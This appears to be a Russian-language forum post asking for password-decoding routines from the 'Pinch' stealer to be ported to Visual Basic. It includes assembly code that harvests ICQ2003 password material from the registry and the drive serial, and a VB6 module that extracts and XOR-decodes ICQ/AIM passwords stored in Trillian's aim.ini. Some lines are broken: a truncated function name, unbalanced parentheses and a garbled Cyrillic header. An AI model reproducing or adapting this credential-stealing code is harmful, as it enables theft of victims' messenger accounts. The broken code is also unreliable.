переведи пару алгоритмов на вб с того пинча

; ----------------------------------------
;
;  C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------



;
; Decode ICQ2003a/Lite passwords
;
;
;
; #########################################################################

        .data
                szKeyPath       db      "SOFTWARE\Mirabilis\ICQ\NewOwners",0

        .code

; #########################################################################

GetDriveSerial proc

        ; -------------------------
        ; Return DriveSerial in eax
        ; -------------------------

        LOCAL   Serial: DWORD, Max: DWORD, Flags: DWORD

        ; Alloc memory for GetWinDir
        invoke  GetWindowsDirectory, offset lpBuf1, MAX_PATH+1

        test    eax, eax
        jz      @ret

        lea     eax, lpBuf1
        mov     byte ptr[eax+3], 0

        invoke  GetVolumeInformation, offset lpBuf1, offset lpBuf3, 40, addr Serial, addr Max, addr Flags, offset lpBuf4, 40
        push    Serial
        lea     eax, lpBuf3
        pop     [eax]

@ret:
        ret
GetDriveSerial endp

; #########################################################################

GetMainLocation proc uses edi lpName: DWORD
        LOCAL   hkHandle: DWORD, DataType: DWORD, BufSize: DWORD

        szText  szMainLocation, "MainLocation"

        xor     edi, edi

        ; Make the registry path to MainLocation in lpSubKey
        szText  szKey, "%s\%s"

        invoke  wsprintf, offset lpBuf4, offset szKey, offset szKeyPath, lpName

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset lpBuf4, addr hkHandle
        cmp     eax, ERROR_SUCCESS
        jne     @end
        
        ; Query the MainLocation value
        mov     BufSize, 16

        invoke  RegQueryValueEx, hkHandle, offset szMainLocation, NULL, addr DataType, offset lpBuf1, addr BufSize
        cmp     eax, ERROR_SUCCESS
        jne     @end

        cmp     BufSize, 8
        je      @work
        cmp     BufSize, 16
        jnz     @end
        
@work:
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 64
        mov     edi, eax
        invoke  TextToHex, offset lpBuf1, eax, BufSize

@end:
        invoke  RegCloseKey, hkHandle

        mov     eax, edi

        ret
GetMainLocation endp

; #########################################################################

GetICQ2003Output proc uses edi
        LOCAL   lpName, KeyIndex, hkHandle, lpNameLen: DWORD
        
        ; Write the greet message
        szText  szICQ2003Greet, "[2003]",13,10
        invoke  lstrcat, GlobalBuffer, addr szICQ2003Greet

        ; ----------------
        ; Get Drive Serial
        ; ----------------

        szText  szICQ2003Serial, "S: %s",13,10

        invoke  GetDriveSerial
        invoke  TextToHex, offset lpBuf3, offset lpBuf1, 4
        invoke  wsprintf, offset lpBuf2, addr szICQ2003Serial, offset lpBuf1
        invoke  lstrcat, GlobalBuffer, offset lpBuf2

        ; -----------------------
        ; Get MainLocation values
        ; -----------------------

        szText  szICQ2003MainLoc, "UIN(%s): %s",13,10

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szKeyPath, addr hkHandle
        cmp     eax, ERROR_SUCCESS
        jne     @end

        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 20
        mov     lpName, eax
        mov     KeyIndex, 0

@loop_enum:
        mov     lpNameLen, 20
        invoke  RegEnumKeyEx, hkHandle, KeyIndex, lpName, addr lpNameLen, NULL, NULL, NULL, NULL
        test    eax, eax
        jnz     @loop_end
        inc     KeyIndex
        invoke  GetMainLocation, lpName
        test    eax, eax
        jz      @loop_enum

        mov     edi, eax

        invoke  wsprintf, offset lpBuf2, offset szICQ2003MainLoc, lpName, eax
        invoke  lstrcat, GlobalBuffer, offset lpBuf2
        
        invoke  LocalFree, edi

        jmp     @loop_enum

@loop_end:
        invoke  LocalFree, lpName

@end:
        invoke  RegCloseKey, hkHandle

        ret
GetICQ2003Output endp

sne меня уже выдал, надо вычитать 5 из кода каждого символа

Option Explicit

'©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©'
' Ìîäóëü äëÿ äîñòàâàíèÿ ICQ ïàðîëåé èç òàêîé ïîïóëÿðíîé øòóêè êàê "Trillian" '
' Íàïèñàíî 16 èþëÿ 2004 ãîäà. Ïî âñåì âîïðîñàì îáðàùàòüñÿ êî ìíå, DaSharm'y: '
' dasharm@mail.ru               ICQ: 2068093                 localhost.co.nr '
' âûðàâíèâàíèå êîäà è îáðàáîòêà îøèáîê by sne (sne_pro@mail.ru)
'©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©'

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long

Public Type TrillianUser
    Number      As String
    Password    As String
End Type

Public Function GetTrillianPasswords(TrillianUsers() As TrillianUser) As Long
    Dim adVal As Long, SectName As String

    Do Until Len(GetTU(SectName).Number) = 0&
        SectName = "profile " & adVal

        If Len(GetTU(SectName).Number) Then
            ReDim Preserve TrillianUsers(adVal)

            TrillianUsers(adVal).Number = GetTU(SectName).Number
            TrillianUsers(adVal).Password = GetTU(SectName).Password
        End If

        adVal = adVal + vbNull
    Loop

    GetTrillianPasswords = adVal - 2&
End Function

Private Function GetTU(ByRef Sect As String) As TrillianUser
    Dim gTmp As String * 32, bPath As String, bLen As Long

    bPath = GetTrillianPath & "users\default\aim.ini"

    bLen = GetPrivateProfileString(Sect, "name", vbNullString, gTmp, Len(gTmp), bPath)
    GetTU.Number = Left$(gTmp, bLen)

    bLen = GetPrivateProfileString(Sect, "password", vbNullString, gTmp, Len(gTmp), bPath)
    GetTU.Password = DecodeTrillianPassword(Left$(gTmp, bLen))
End Function

'   © Trillian pwd decode function by DaSharm
Private Function DecodeTrillianPassword(pStr As String) As String
    Dim pTab As Variant, i As Long

    pTab = Array(243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185, 230, 83, 122, 149, 125)

    For i = vbNull To Len(pStr) Step 2&
        ecodeTrillianPassword = DecodeTrillianPassword & Chr$(Val("&H" & Mid$(pStr, i, 2&) Xor pTab(i \ 2&)
    Next
End Function

Private Function GetTrillianPath() As String
    Dim hOpen As Long, hBuff As String, lDataBufSize As Long, e As Long

    If Not RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian", 0&, &H3F, hOpen) = 0& Then Exit Function
    If Not RegQueryValueEx(hOpen, "UninstallString", 0&, 1, ByVal 0&, lDataBufSize) = 0& Then Exit Function

    GetTrillianPath = String$(lDataBufSize, 0&
    If Not RegQueryValueEx(hOpen, "UninstallString", 0, 1, ByVal GetTrillianPath, lDataBufSize) = 0& Then Exit Function

    Call RegCloseKey(hOpen)

    GetTrillianPath = Left$(GetTrillianPath, Len(GetTrillianPath) - vbNull)
    GetTrillianPath = Left(GetTrillianPath, Len(GetTrillianPath) - (InStr(vbNull, StrReverse(GetTrillianPath), "\" - vbNull))
End Function